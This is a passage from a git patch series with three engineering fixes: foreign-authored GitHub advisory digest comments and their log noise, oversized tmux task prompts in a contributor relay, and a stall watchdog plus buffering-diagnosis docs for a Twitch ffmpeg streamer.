bot-authored-but-not-provably-ours comment is remembered in botAuthored as a -// fallback rather than ending the scan, so a later page can still yield an -// exact match. -func (c *Client) scanDigestPage(owner, repo string, issueNum int, comments []*gh.IssueComment, botAuthored *digestComment) (digestComment, bool) { +// bot-authored-but-not-provably-ours comment is remembered in scan.botAuthored +// as a fallback rather than ending the scan, so a later page can still yield +// an exact match. A foreign-authored digest comment is NEVER selected: it is +// only noted in scan.foreign so the resolution can log it. +func (c *Client) scanDigestPage(comments []*gh.IssueComment, scan *digestScan) (digestComment, bool) { for _, comment := range comments { if !strings.HasPrefix(comment.GetBody(), advisoryDigestPrefix) { continue @@ -718,8 +769,8 @@ func (c *Client) scanDigestPage(owner, repo string, issueNum int, comments []*gh // a misconfigured slug would create a duplicate every cycle. // "First" is now the NEWEST such comment, since the scan runs // newest-first. - if !botAuthored.found() { - *botAuthored = digestCommentFrom(comment) + if !scan.botAuthored.found() { + scan.botAuthored = digestCommentFrom(comment) } continue } @@ -728,18 +779,56 @@ func (c *Client) scanDigestPage(owner, repo string, issueNum int, comments []*gh // hard-forbids an App from editing a foreign-authored comment (403 // "Resource not accessible by integration") no matter what the // installation grants, so adopting it wedges the digest forever - // (kalantar-msb/soft-reflective#1). Skip it; if no bot-authored digest - // comment exists a fresh App-authored one is created and every later + // (kalantar-msb/soft-reflective#1). Never select it; the scan goes on + // to re-pin to an App-authored digest further down the issue, and if + // there is none a fresh App-authored one is created and every later // cycle edits THAT one, so nothing is duplicated per cycle. - c.logger.Warn("skipping advisory digest comment not authored by this App β€” an installation token can never edit it", - slog.String("repo", owner+"/"+repo), - slog.Int("issue", issueNum), - slog.Int64("comment_id", comment.GetID()), - slog.String("author", login)) + if !scan.foreign.found() { + scan.foreign = digestCommentFrom(comment) + scan.foreignAuthor = login + } } return digestComment{}, false } +// resolveDigestScan finalizes one scan: it reports a foreign-authored digest +// comment ONCE per issue per process at Warn β€” with the action taken β€” and +// at Debug thereafter (#16439). Before the fix the Warn fired on every cycle +// the human comment was listed (~every 5 minutes on +// torch-spyre/spyre-inference#406) and never settled, because the comment +// stays on the issue forever. +func (c *Client) resolveDigestScan(owner, repo string, issueNum int, chosen digestComment, scan *digestScan) digestComment { + if !scan.foreign.found() { + return chosen + } + action := "creating a fresh App-authored digest comment" + if chosen.found() { + action = fmt.Sprintf("re-pinned to App-authored digest comment %d", chosen.id) + } + key := fmt.Sprintf("%s/%s#%d", owner, repo, issueNum) + c.advisoryMu.Lock() + warned := c.advisoryForeignDigestWarned[key] + if c.advisoryForeignDigestWarned == nil { + c.advisoryForeignDigestWarned = make(map[string]bool) + } + c.advisoryForeignDigestWarned[key] = true + c.advisoryMu.Unlock() + attrs := []any{ + slog.String("repo", owner+"/"+repo), + slog.Int("issue", issueNum), + slog.Int("comment_id", scan.foreign.id), + slog.String("author", scan.foreignAuthor), + slog.String("action", action), + } + const msg = "skipping advisory digest comment not authored by this App β€” an installation token can never edit it" + if warned { + c.logger.Debug(msg, attrs...) + } else { + c.logger.Warn(msg, attrs...) + } + return chosen +} + // digestCommentFrom projects the fields the post path needs out of a forge // comment. UpdatedAt is preferred over CreatedAt: the digest comment is EDITED // in place, so the last write β€” not the original creation β€” is what the diff --git a/src/pkg/github/advisory_foreign_anchor_test.go b/src/pkg/github/advisory_foreign_anchor_test.go new file mode 100644 index 0000000000..8aebc45f0b --- /dev/null +++ b/src/pkg/github/advisory_foreign_anchor_test.go @@ -0,0 +1,162 @@ +package github + +import ( + "context" + "encoding/json" + "fmt" + "log/slog" + "net/http" + "net/http/httptest" + "sync" + "testing" +) + +// countingHandler is a slog.Handler that counts records per level. +type countingHandler struct { + mu sync.Mutex + counts map[slog.Level]int + msgs []string +} + +func (h *countingHandler) Enabled(context.Context, slog.Level) bool { return true } +func (h *countingHandler) Handle(_ context.Context, r slog.Record) error { + h.mu.Lock() + defer h.mu.Unlock() + if h.counts == nil { + h.counts = map[slog.Level]int{} + } + h.counts[r.Level]++ + h.msgs = append(h.msgs, r.Message) + return nil +} +func (h *countingHandler) WithAttrs([]slog.Attr) slog.Handler { return h } +func (h *countingHandler) WithGroup(string) slog.Handler { return h } + +// digestAnchorMux is digestCommentMux with a per-PATCH counter and a listed +// body that is served unchanged regardless of PATCHes, modelling the +// eventually-consistent comment list. +func digestAnchorMux(org, repo string, comments []map[string]any, patches map[int64]int, created *int) *http.ServeMux { + mux := http.NewServeMux() + mux.HandleFunc(fmt.Sprintf("/repos/%s/%s/issues/10/comments", org, repo), func(w http.ResponseWriter, r *http.Request) { + switch r.Method { + case "GET": + json.NewEncoder(w).Encode(comments) + case "POST": + *created++ + json.NewEncoder(w).Encode(map[string]any{"id": 9999, "user": map[string]any{"login": "hive-app[bot]"}}) + } + }) + mux.HandleFunc(fmt.Sprintf("/repos/%s/%s/issues/comments/", org, repo), func(w http.ResponseWriter, r *http.Request) { + if r.Method == "PATCH" { + var id int64 + fmt.Sscanf(r.URL.Path, fmt.Sprintf("/repos/%s/%s/issues/comments/%%d", org, repo), &id) + patches[id]++ + json.NewEncoder(w).Encode(map[string]any{"id": id, "user": map[string]any{"login": "hive-app[bot]"}}) + } + }) + return mux +} + +// A human-authored digest comment NEWER than the App's own (the +// torch-spyre/spyre-inference#406 shape in #16439): the App re-pins to its +// own older comment rather than creating a duplicate, and the foreign-anchor +// warning is logged once per issue per process with the action taken β€” later +// cycles demote it to Debug. +func TestPostAdvisoryDigest_ForeignAnchorRepinsToAppCommentWarnsOnce(t *testing.T) { + org, repo := "torch-spyre", "spyre-inference" + patches := map[int64]int{} + created := 0 + server := httptest.NewServer(digestAnchorMux(org, repo, []map[string]any{ + {"id": 5061265231, "body": advisoryDigestPrefix + " β€” human", "user": map[string]any{"login": "joerunde", "type": "User"}}, + {"id": 4000, "body": advisoryDigestPrefix + " β€” ours (stale)", "user": map[string]any{"login": "hive-app[bot]", "type": "Bot"}}, + }, patches, &created)) + defer server.Close() + + c := newAppTestClient(t, server, org, repo, "hive-app[bot]") + h := &countingHandler{} + c.logger = slog.New(h) + + for i := 0; i < 3; i++ { + body := fmt.Sprintf("%s β€” findings v%d", advisoryDigestPrefix, i) + if err := c.PostAdvisoryDigest(context.Background(), repo, 10, body); err != nil { + t.Fatalf("cycle %d: %v", i, err) + } + } + if patches[4000] != 3 { + t.Errorf("expected the App's own comment to be edited on each changed cycle, got %d PATCHes", patches[4000]) + } + if patches[5061265231] != 0 || created != 0 { + t.Errorf("wrong write path: patchedForeign=%d created=%d", patches[5061265231], created) + } + if got := h.counts[slog.LevelWarn]; got != 1 { + t.Errorf("foreign-anchor warning logged %d times, want exactly once; msgs=%v", got, h.msgs) + } + if c.advisoryDigestAnchors["torch-spyre/spyre-inference#10"] != 4000 { + t.Errorf("anchor not persisted: %v", c.advisoryDigestAnchors) + } +} + +// With no App-authored digest on the issue a fresh one is created, and the +// created comment becomes the persisted anchor. +func TestPostAdvisoryDigest_ForeignAnchorCreatesAndPersistsAnchor(t *testing.T) { + org, repo := "torch-spyre", "spyre-inference" + patches := map[int64]int{} + created := 0 + server := httptest.NewServer(digestAnchorMux(org, repo, []map[string]any{ + {"id": 5061265231, "body": advisoryDigestPrefix + " β€” human", "user": map[string]any{"login": "joerunde", "type": "User"}}, + }, patches, &created)) + defer server.Close() + + c := newAppTestClient(t, server, org, repo, "hive-app[bot]") + h := &countingHandler{} + c.logger = slog.New(h) + + if err := c.PostAdvisoryDigest(context.Background(), repo, 10, advisoryDigestPrefix+" β€” new"); err != nil { + t.Fatalf("PostAdvisoryDigest: %v", err) + } + if created != 1 || len(patches) != 0 { + t.Errorf("expected exactly one CREATE and no PATCH, got created=%d patches=%v", created, patches) + } + if c.advisoryDigestAnchors["torch-spyre/spyre-inference#10"] != 9999 { + t.Errorf("created comment not persisted as anchor: %v", c.advisoryDigestAnchors) + } + if h.counts[slog.LevelWarn] != 1 { + t.Errorf("want one Warn, got %d", h.counts[slog.LevelWarn]) + } +} + +// Identical material content re-rendered with a fresh timestamp is not +// PATCHed again, even when the listed body still shows an older digest (the +// comment list lagging the last edit). +func TestPostAdvisoryDigest_UnchangedAnchorBodySkipsEdit(t *testing.T) { + org, repo := "testorg", "testrepo" + patches := map[int64]int{} + created := 0 + server := httptest.NewServer(digestAnchorMux(org, repo, []map[string]any{ + {"id": 222, "body": advisoryDigestPrefix + " β€” older content", "user": map[string]any{"login": "hive-app[bot]", "type": "Bot"}}, + }, patches, &created)) + defer server.Close() + + c := newAppTestClient(t, server, org, repo, "hive-app[bot]") + first := advisoryDigestPrefix + " β€” 2026-08-31 04:00 UTC\n**Findings:** 2\n- a\n- b" + second := advisoryDigestPrefix + " β€” 2026-08-31 04:05 UTC\n**Findings:** 2\n- a\n- b" + if err := c.PostAdvisoryDigest(context.Background(), repo, 10, first); err != nil { + t.Fatalf("first: %v", err) + } + if err := c.PostAdvisoryDigest(context.Background(), repo, 10, second); err != nil { + t.Fatalf("second: %v", err) + } + if patches[222] != 1 { + t.Errorf("expected exactly one PATCH for identical material content, got %d", patches[222]) + } + if created != 0 { + t.Errorf("unexpected CREATE: %d", created) + } + third := advisoryDigestPrefix + " β€” 2026-08-31 04:10 UTC\n**Findings:** 3\n- a\n- b\n- c" + if err := c.PostAdvisoryDigest(context.Background(), repo, 10, third); err != nil { + t.Fatalf("third: %v", err) + } + if patches[222] != 2 { + t.Errorf("changed material content must PATCH again, got %d", patches[222]) + } +} diff --git a/src/pkg/github/client.go b/src/pkg/github/client.go index 32e5c7c002..92823f7cbf 100644 --- a/src/pkg/github/client.go +++ b/src/pkg/github/client.go @@ -511,6 +511,20 @@ type Client struct { // issues:write) still surface within ~an hour instead of never. Guarded by // advisoryMu. advisoryDigestSkips map[string]int + // advisoryDigestAnchors memoizes, per "owner/repo#issue", the ID of the + // App-authored digest comment the last successful write landed on + // (#16439). It is the pin the digest returns to when a foreign-authored + // digest comment sits newer on the issue, and the key for the per-anchor + // last-written material fingerprint in advisoryDigestAnchorHashes, which + // lets an unchanged re-render skip the PATCH even when the listed body is + // stale. Guarded by advisoryMu. + advisoryDigestAnchors map[string]int + advisoryDigestAnchorHashes map[string]string + // advisoryForeignDigestWarned records, per "owner/repo#issue", that the + // "digest comment not authored by this App" condition has already been + // logged at Warn in this process; later cycles log it at Debug (#16439). + // Guarded by advisoryMu. + advisoryForeignDigestWarned map[string]bool // hiveIdentity records which accounts count as "this hive" for the // self-authorization gate (pr_self_authorization.go, #5117). It is optional // β€” the gate recognises the App bot without it β€” and exists so an issue From a5ce8fc7bcbaf816f49071de333104922b69016d Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Tue, 3 Nov 2026 17:07:08 +0000 Subject: [PATCH 04/87] =?UTF-8?q?=F0=9F=90=9B=20fix(relay):=20paste=20over?= =?UTF-8?q?sized=20task=20prompts=20through=20tmux=20load-buffer=20and=20r?= =?UTF-8?q?eport=20lost=20prompts=20as=20task=5Ffailed=20(#16447)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: onkar717 <144542684+onkar717@users.noreply.github.com> --- bin/contributor-relay.js | 9 ++++++++- bin/contributor-relay.test.js | 24 ++++++++++++++++++++++++ changelog.d/fixed-16423.md | 1 + src/docs/contributor-relay.md | 2 +- 4 files changed, 34 insertions(+), 2 deletions(-) create mode 100644 changelog.d/fixed-16423.md diff --git a/bin/contributor-relay.js b/bin/contributor-relay.js index 980682cc8b..6cf4db2ce3 100755 --- a/bin/contributor-relay.js +++ b/bin/contributor-relay.js @@ -5110,6 +5110,10 @@ const PROMPT_SUBMIT_DELAYED_RENDER_POLLS = 2; // `send-keys -l` bursts. Keep other backends on their long-tested literal path // until their panes show the same transport failure. const TASK_PROMPT_BRACKETED_PASTE_BACKENDS = new Set(['codex']); +// #16423: tmux rejects a single command above a few KB ("command too long"), +// and `send-keys -l ''` is one command. Donated standby prompts carry +// the lane role prompt (~55 KB), so any backend pastes above this size. +const TASK_PROMPT_PASTE_BUFFER_THRESHOLD_BYTES = 8192; const STRICT_PROMPT_CONFIRM_BACKENDS = new Set(['codex']); let tmuxPromptBufferSeq = 0; @@ -5137,7 +5141,8 @@ function tmuxPasteTaskPrompt(text) { } function tmuxDeliverTaskPrompt(text) { - if (TASK_PROMPT_BRACKETED_PASTE_BACKENDS.has(BACKEND)) { + if (TASK_PROMPT_BRACKETED_PASTE_BACKENDS.has(BACKEND) || + Buffer.byteLength(text, 'utf8') > TASK_PROMPT_PASTE_BUFFER_THRESHOLD_BYTES) { tmuxPasteTaskPrompt(text); } else { execSync(`tmux send-keys -t ${TMUX_SESSION} -l ${shellQuote(text)}`, { timeout: 30000 }); @@ -5410,6 +5415,8 @@ function tmuxSendKeys(text) { } if (!sent) { console.error('All tmux prompt paste attempts failed β€” task prompt lost'); + // #16423: tell the hub, or the item sits as an accepted task that never started. + failCurrentTask('All tmux prompt paste attempts failed β€” task prompt lost', { kind: 'environment' }); return; } // #6717/#9078: settle before submitting. sleepMs() is a no-op under diff --git a/bin/contributor-relay.test.js b/bin/contributor-relay.test.js index 5ccc4443b9..019bb45df9 100644 --- a/bin/contributor-relay.test.js +++ b/bin/contributor-relay.test.js @@ -12564,6 +12564,30 @@ test('#9078 short task prompts use the same bracketed-paste path', () => { } finally { teardown(relay); } }); +test('#16423 oversized task prompts are pasted via load-buffer on every backend', () => { + const relay = loadRelay({ backend: 'claude', paneText: CODEX_WORKING_PANE }); + try { + relay.setCliReady(true); + const prompt = 'lane role prompt. ' + 'padding '.repeat(7000); + relay.tmuxSendKeys(prompt); + const loads = tmuxCalls(relay, 'load-buffer'); + assert.strictEqual(loads.length, 1); + assert.strictEqual(loads[0].opts && loads[0].opts.input, prompt); + assert.strictEqual(tmuxCalls(relay, 'paste-buffer').length, 1); + assert.deepStrictEqual(relay.__tmuxSends().filter(c => / -l lane role prompt/.test(c)), [], + 'an oversized prompt must not be sent as one send-keys argument'); + } finally { teardown(relay); } +}); + +test('#16423 small task prompts on claude keep the send-keys path', () => { + const relay = loadRelay({ backend: 'claude', paneText: CODEX_WORKING_PANE }); + try { + relay.setCliReady(true); + relay.tmuxSendKeys('short task prompt'); + assert.strictEqual(tmuxCalls(relay, 'load-buffer').length, 0); + } finally { teardown(relay); } +}); + // #9082: tmux capture-pane -p pads to the pane height. A codex turn that is // in flight renders "esc to interrupt" near the top of a tall pane, so a raw // slice(-15) window is blank padding and the busy marker is never seen. diff --git a/changelog.d/fixed-16423.md b/changelog.d/fixed-16423.md new file mode 100644 index 0000000000..3d645ac33b --- /dev/null +++ b/changelog.d/fixed-16423.md @@ -0,0 +1 @@ +- Large task prompts (such as ~55 KB donated standby prompts) are no longer lost on claude relays: prompts over 8192 bytes are pasted through a tmux buffer, and a prompt that still cannot be delivered is reported to the hub as `task_failed` (#16423). diff --git a/src/docs/contributor-relay.md b/src/docs/contributor-relay.md index 302204b4c3..273cd8467d 100644 --- a/src/docs/contributor-relay.md +++ b/src/docs/contributor-relay.md @@ -1372,7 +1372,7 @@ The hub books the issue for the full with-PR cooldown immediately and records a ### A prompt that was pasted is not a prompt that was submitted -The relay delivers a task prompt by storing it in a uniquely named tmux buffer (`tmux load-buffer -b … -`, prompt piped on stdin) and pasting it with bracketed paste (`tmux paste-buffer -p -d …`) before sending Enter. The older `tmux send-keys -l` path sent a task-sized prompt as one raw keystroke burst, and a TUI that implements bracketed-paste handling could classify a burst that fast as **pasted content**. codex collapsed it to `[Pasted Content 1024 chars]` in its input widget and took the Enters that followed as newlines *inside* the paste rather than as submit. The prompt sat in the widget, and the agent was never told anything. +The relay delivers a task prompt by storing it in a uniquely named tmux buffer (`tmux load-buffer -b … -`, prompt piped on stdin) and pasting it with bracketed paste (`tmux paste-buffer -p -d …`) before sending Enter. Backends other than codex keep `tmux send-keys -l` for small prompts, but any prompt over 8192 bytes takes this buffer path too, because tmux rejects a single over-long command (#16423). If every delivery attempt fails the relay reports `task_failed` to the hub rather than leaving the task accepted but never started. The older `tmux send-keys -l` path sent a task-sized prompt as one raw keystroke burst, and a TUI that implements bracketed-paste handling could classify a burst that fast as **pasted content**. codex collapsed it to `[Pasted Content 1024 chars]` in its input widget and took the Enters that followed as newlines *inside* the paste rather than as submit. The prompt sat in the widget, and the agent was never told anything. Observed live ([#6717](https://github.com/hivecommons/hive/issues/6717), codex-cli 0.154.0): the pane showed the launch banner, the collapsed prompt on the input line, no spinner, no tool rows and no assistant output at all, byte-identical across two consecutive five-minute checks. The relay logged `Task prompt sent to CLI` and, eight minutes later, `completed β€” signal=chrome_idle`. The hub booked the issue **done** with no commit, no branch and no PR, and it left `/api/contribute/queue`. From af4ad99d1d690e5d05b08fffb6e93e40565cfc90 Mon Sep 17 00:00:00 2001 From: Andy Anderson Date: Tue, 3 Nov 2026 12:15:22 -0500 Subject: [PATCH 05/87] =?UTF-8?q?=F0=9F=90=9B=20stream:=20deeper=20capture?= =?UTF-8?q?=20queue,=20wallclock=20PTS=20and=20a=20stall=20watchdog=20for?= =?UTF-8?q?=20the=20matrix=20streamer=20(#16448)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * πŸ› stream: deeper capture queue, wallclock PTS and a stall watchdog for the matrix streamer The Twitch player buffers while the encoder reports fps=30 speed=1x. Harden the streamer so transient encoder hiccups no longer become PTS gaps and so stalls restart ffmpeg instead of waiting for the liveness probe: - VIDEO_QUEUE_FRAMES default 16 -> 256 (2.1 GiB worst case, inside the 6 Gi limit); AUDIO_QUEUE applies -thread_queue_size to both audio inputs - -fflags +genpts -use_wallclock_as_timestamps 1 on x11grab and -af aresample=async=1 so audio/video PTS cannot drift - watchdog samples the -progress file every 10 s, SIGTERMs ffmpeg after 30 s without frames or 60 s of speed < 0.90x, and writes the last 20 samples, last stall and restart count to /run/stream/health.json; healthcheck.sh surfaces that state - README: ingest-RTT guidance and a 'Why does the player buffer?' section with the diagnosis recipe Signed-off-by: Andrew Anderson * πŸ› stream: leave k8s/deployment.yaml untouched The memory-budget comment edit tripped TestHivecommonsStreamConfigUnchanged, which pins the live stream's manifests byte-for-byte. The queue math is documented in entrypoint.sh and the README instead. Signed-off-by: Andrew Anderson --------- Signed-off-by: Andrew Anderson Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- .../fixed-stream-buffering-watchdog.md | 1 + src/deploy/stream/README.md | 49 +++++++- src/deploy/stream/entrypoint.sh | 107 ++++++++++++++++-- src/deploy/stream/healthcheck.sh | 9 +- 4 files changed, 152 insertions(+), 14 deletions(-) create mode 100644 changelog.d/fixed-stream-buffering-watchdog.md diff --git a/changelog.d/fixed-stream-buffering-watchdog.md b/changelog.d/fixed-stream-buffering-watchdog.md new file mode 100644 index 0000000000..088a273e2a --- /dev/null +++ b/changelog.d/fixed-stream-buffering-watchdog.md @@ -0,0 +1 @@ +- The Twitch matrix streamer no longer drops frames on every encoder hiccup: `VIDEO_QUEUE_FRAMES` defaults to 256, the audio queue is configurable (`AUDIO_QUEUE`), x11grab uses wallclock timestamps with `aresample=async=1` so audio/video PTS cannot drift, and a stall watchdog restarts ffmpeg when frames stop for 30 s or `speed` stays below 0.90x for 60 s, publishing its samples to `/run/stream/health.json`; the README gains a "Why does the player buffer?" diagnosis recipe. diff --git a/src/deploy/stream/README.md b/src/deploy/stream/README.md index 724ec34b12..2dd578b794 100644 --- a/src/deploy/stream/README.md +++ b/src/deploy/stream/README.md @@ -9,7 +9,7 @@ Twitch stream. Operator guide, Twitch-side setup, and troubleshooting: | `Dockerfile` | `debian:bookworm-slim` + Xvfb, Chromium, ffmpeg, xdotool, tini; builds `authproxy` in a `golang` stage. Build context is the **repo root**. Published as `ghcr.io/hivecommons/hive-stream:` / `:v5-latest` by `.github/workflows/stream-image.yml`. | | `entrypoint.sh` | Supervisor: Xvfb β†’ authproxy β†’ Chromium `--kiosk` (restart with backoff) β†’ periodic reload (`RELOAD_EVERY`) β†’ PulseAudio null sink `hive` β†’ ffmpeg `x11grab` + `pulse hive.monitor` (or `anullsrc` with `STREAM_AUDIO=silent`) β†’ libx264 CBR + AAC β†’ RTMP. Masks the stream key in ffmpeg output. | | `authproxy/` | Loopback reverse proxy (stdlib Go) that adds `Authorization: Bearer $DASHBOARD_TOKEN` to every dashboard request so the token is never in a URL, in Chromium's history, or on screen. Forwards only `GET`/`HEAD` (anything else is answered `405` locally, before the token is attached) because the shared token is an unscoped owner credential and a kiosk only reads. Logs when the upstream answers with a login redirect. | -| `healthcheck.sh` | Chromium alive + ffmpeg progress file fresher than 20 s with `frame>0`. Used by the image `HEALTHCHECK` and the Deployment's probes. | +| `healthcheck.sh` | Chromium alive + ffmpeg progress file fresher than 20 s with `frame>0`; also prints the stall watchdog's state from `/run/stream/health.json`. Used by the image `HEALTHCHECK` and the Deployment's probes. | | `docker-compose.yaml`, `.env.example` | Run the same image from a laptop. | | `k8s/` | Kustomize base: Namespace `hive-stream`, ConfigMap, Deployment (1 replica, non-root, 512 Mi `/dev/shm`, 1–3 CPU / 3–6 Gi), NetworkPolicy (DNS, dashboard Service, public RTMP/HTTPS only). `secret.yaml` is a **template** and is not in the kustomization. | | `overlays/hive-hosted/` | hive's own hosted spoke on `hive-oke`. | @@ -26,9 +26,13 @@ Twitch stream. Operator guide, Twitch-side setup, and troubleshooting: | `DASHBOARD_PATH` | `/?kiosk=1#section-activity-monitor-section` | Path Chromium opens. `?kiosk=1` is the dashboard's unattended display mode; tracker sounds are on there unless `&sound=off` is added. | | `STREAM_AUDIO` | `pulse` | `pulse` captures the tracker sounds via a PulseAudio null sink; `silent` mutes Chromium and streams `anullsrc` silence. | | `TWITCH_STREAM_KEY` | β€” | Primary Stream key. | -| `TWITCH_INGEST` | `rtmp://live.twitch.tv/app` | Ingest; pick a closer one from Twitch's ingest list if needed. | +| `TWITCH_INGEST` | `rtmp://live.twitch.tv/app` | Ingest. The default is Twitch's anycast entry, which resolves to the nearest PoP (~5 ms from `hive-oke`). If the TCP connect RTT from the pod is >80 ms (`curl -s -o /dev/null -w '%{time_connect}\n' telnet://live.twitch.tv:1935`), pick a nearer host from [Twitch's ingest list](https://help.twitch.tv/s/twitch-ingest-recommendation) or use `rtmps://ingest.global-contribute.live-video.net/app/`. | | `VIDEO_SIZE` / `FPS` / `BITRATE` / `X264_PRESET` | `1920x1080` / `30` / `4500k` / `veryfast` | Encode settings. Keyframe interval is `2Γ—FPS`. | | `RELOAD_EVERY` | `30m` | Page reload cadence (picks up dashboard rolls). | +| `VIDEO_QUEUE_FRAMES` | `256` | x11grab `-thread_queue_size` in raw frames (~8.3 MiB each at 1080p; 256 β‰ˆ 2.1 GiB worst case). Too shallow drops frames on every encoder hiccup, and each drop is a PTS gap the player shows as buffering; too deep risks OOM. | +| `AUDIO_QUEUE` | `1024` | Audio input `-thread_queue_size` in packets (`AUDIO_QUEUE_PACKETS` is the older, still-honoured name). | +| `WATCHDOG_EVERY` / `STALL_FRAMES_SECONDS` / `SLOW_SPEED` / `SLOW_SECONDS` | `10` / `30` / `0.90` / `60` | Stall watchdog: sample the progress file every `WATCHDOG_EVERY` s; restart ffmpeg after `STALL_FRAMES_SECONDS` with no new frames, or after `SLOW_SECONDS` of `speed` below `SLOW_SPEED`. | +| `HEALTH_SAMPLES` | `20` | Watchdog samples kept in `/run/stream/health.json`. | | `STREAM_OUTPUT` | β€” | Dry run: `null` discards, `*.flv` writes a file, anything else is a raw ffmpeg output. | | `STREAM_SECONDS` | `0` | `>0` stops ffmpeg after N s and exits 0 (dry run); a non-zero ffmpeg exit fails the run. | | `STREAM_PROFILE` | β€” | `public-safe` (only `fleet/`) turns on `public-safe-gate.sh` and makes `authproxy` anonymous: no token, browser `Authorization`/`Cookie` stripped, `Set-Cookie` dropped. Unset keeps the behaviour above. | @@ -45,3 +49,44 @@ ffmpeg -ss 15 -i src/deploy/stream/out/test.flv -frames:v 1 src/deploy/stream/ou ``` `out/` is git-ignored. + +## Why does the player buffer? + +The Twitch player shows a spinner whenever its buffer runs dry. Three things do that, and the encoder stats tell them apart: + +1. **The encoder is not keeping up** β€” `speed` < 1x, `fps` < `FPS`, `drop_frames` climbing. Cause: CPU throttling (check `nr_throttled` in the pod's `cpu.stat`), a too-slow `X264_PRESET`, or Chromium's startup/reload burst stealing cores. The watchdog restarts ffmpeg when this lasts; fix the budget (CPU limit, preset, `ENC_THREADS`). +2. **Frames arrive with gaps** β€” `speed` β‰ˆ 1x but `drop_frames` ticks up. x11grab could not hand the frame to x264 in time and skipped it; the next frame's PTS jumps, the player's buffer underruns for exactly that gap. Raise `VIDEO_QUEUE_FRAMES` (it absorbs the hiccup instead of dropping) and keep `-use_wallclock_as_timestamps`/`aresample=async=1`, which the entrypoint sets so audio and video PTS cannot drift apart. +3. **The network to the ingest is the problem** β€” encoder stats are perfect, but Twitch's `video_stats` overlay shows a low *Download bitrate*, rising *Skipped frames*, or a *Buffer size* that keeps hitting 0. Check the RTT from the pod to `TWITCH_INGEST` (see above) and whether the `bitrate` line stays flat at `BITRATE`; a sagging bitrate with `speed` β‰ˆ 1x means RTMP back-pressure. + +### Diagnosis recipe + +Sample the progress file for three minutes and compute per-interval deltas (a healthy 30 fps stream adds ~150 frames per 5 s): + +```sh +POD=$(kubectl -n hive-stream-matrix get pod -l app.kubernetes.io/name=hive-stream-matrix -o jsonpath='{.items[0].metadata.name}') +for i in $(seq 36); do + kubectl -n hive-stream-matrix exec "$POD" -- sh -c \ + 'date -u +%T; grep -a -E "^(frame|fps|bitrate|drop_frames|dup_frames|speed)=" /run/stream/ffmpeg-progress.txt | tail -6 | tr "\n" " "; echo' + sleep 5 +done +``` + +Flag any interval with fewer than 140 new frames or `speed` < 0.97x. The watchdog does the same every 10 s and keeps its last 20 samples, the last stall and its restart count in `/run/stream/health.json`: + +```sh +kubectl -n hive-stream-matrix exec "$POD" -- cat /run/stream/health.json +kubectl -n hive-stream-matrix logs "$POD" | grep 'WARN watchdog' +``` + +What each progress number means: + +| Field | Meaning | +| --- | --- | +| `frame` | Frames encoded since ffmpeg started. Delta per 5 s should be `5Γ—FPS` (150 at 30 fps). | +| `fps` | Encoder output rate over the last window; should sit at `FPS`. | +| `speed` | Encoded time Γ· wall time. `1x` is real time; below `0.97x` the stream is falling behind and the player will stall once Twitch's buffer drains. | +| `bitrate` | Output bitrate; CBR should hold it within a few percent of `BITRATE`. | +| `drop_frames` | Frames x11grab skipped because the encoder was busy and the queue was full β€” each is a PTS gap. A handful per hour is noise; dozens per minute is a stall. | +| `dup_frames` | Frames duplicated to keep the output rate constant; non-zero means the capture briefly produced nothing. | + +In the Twitch player, open the settings cog β†’ *Advanced* β†’ *Video Stats*: *Download bitrate* near `BITRATE`, *Buffer size* steady above ~1 s and *Skipped frames* flat means the stream is fine and the spinner is the viewer's network; *Skipped frames* climbing with a healthy encoder points at the ingest path. diff --git a/src/deploy/stream/entrypoint.sh b/src/deploy/stream/entrypoint.sh index 092ef176ed..2a9b98e653 100755 --- a/src/deploy/stream/entrypoint.sh +++ b/src/deploy/stream/entrypoint.sh @@ -23,8 +23,17 @@ # shared with Xvfb and charged to the pod's memory cgroup once. If x264 falls # behind β€” Chromium's startup burst, a CPU-throttled pod β€” the input thread # queues frames up to -thread_queue_size, so a 1024-deep queue can pin 8.5 GiB. -# VIDEO_QUEUE_FRAMES bounds that to a few hundred MiB; frames are skipped -# instead of hoarded. Audio packets are tiny, so the pulse queue stays deep. +# VIDEO_QUEUE_FRAMES bounds that (256 frames β‰ˆ 2.1 GiB worst case, inside the +# 6 Gi limit); beyond it frames are skipped instead of hoarded. Too shallow a +# queue (the old 16) drops frames on every encoder hiccup, and each drop is a +# PTS gap the Twitch player reads as "buffering" (hivecommons/hive#16440). +# Audio packets are tiny, so the audio queue stays deep. +# +# Stall watchdog: ffmpeg's -progress file is sampled every WATCHDOG_EVERY s; +# no new frames for STALL_FRAMES_SECONDS or speed < SLOW_SPEED for SLOW_SECONDS +# logs WARN with the stats and SIGTERMs ffmpeg so ffmpeg_loop restarts it. The +# last 20 samples, the last stall and the restart count are published to +# $RUN_DIR/health.json for the healthcheck and for operators. set -euo pipefail : "${DASHBOARD_URL:?DASHBOARD_URL is required (https origin of the hive dashboard)}" @@ -45,13 +54,20 @@ RELOAD_EVERY="${RELOAD_EVERY:-30m}" # (MiB), well under the pod limit, instead of letting the kernel pick a victim. CHROMIUM_RSS_RELOAD_MIB="${CHROMIUM_RSS_RELOAD_MIB:-3584}" RSS_CHECK_EVERY="${RSS_CHECK_EVERY:-30}" # seconds between RSS checks -VIDEO_QUEUE_FRAMES="${VIDEO_QUEUE_FRAMES:-16}" # x11grab -thread_queue_size (raw frames, ~8 MiB each at 1080p) -AUDIO_QUEUE_PACKETS="${AUDIO_QUEUE_PACKETS:-1024}" +VIDEO_QUEUE_FRAMES="${VIDEO_QUEUE_FRAMES:-256}" # x11grab -thread_queue_size (raw frames, ~8 MiB each at 1080p) +# -thread_queue_size for the audio input (packets); AUDIO_QUEUE_PACKETS is the +# older name and still honoured. +AUDIO_QUEUE="${AUDIO_QUEUE:-${AUDIO_QUEUE_PACKETS:-1024}}" STREAM_AUDIO="${STREAM_AUDIO:-pulse}" # pulse | silent PULSE_SINK_NAME="${PULSE_SINK_NAME:-hive}" DISPLAY_NUM="${DISPLAY_NUM:-:99}" AUTHPROXY_LISTEN="${AUTHPROXY_LISTEN:-127.0.0.1:8099}" RUN_DIR="${RUN_DIR:-/run/stream}" 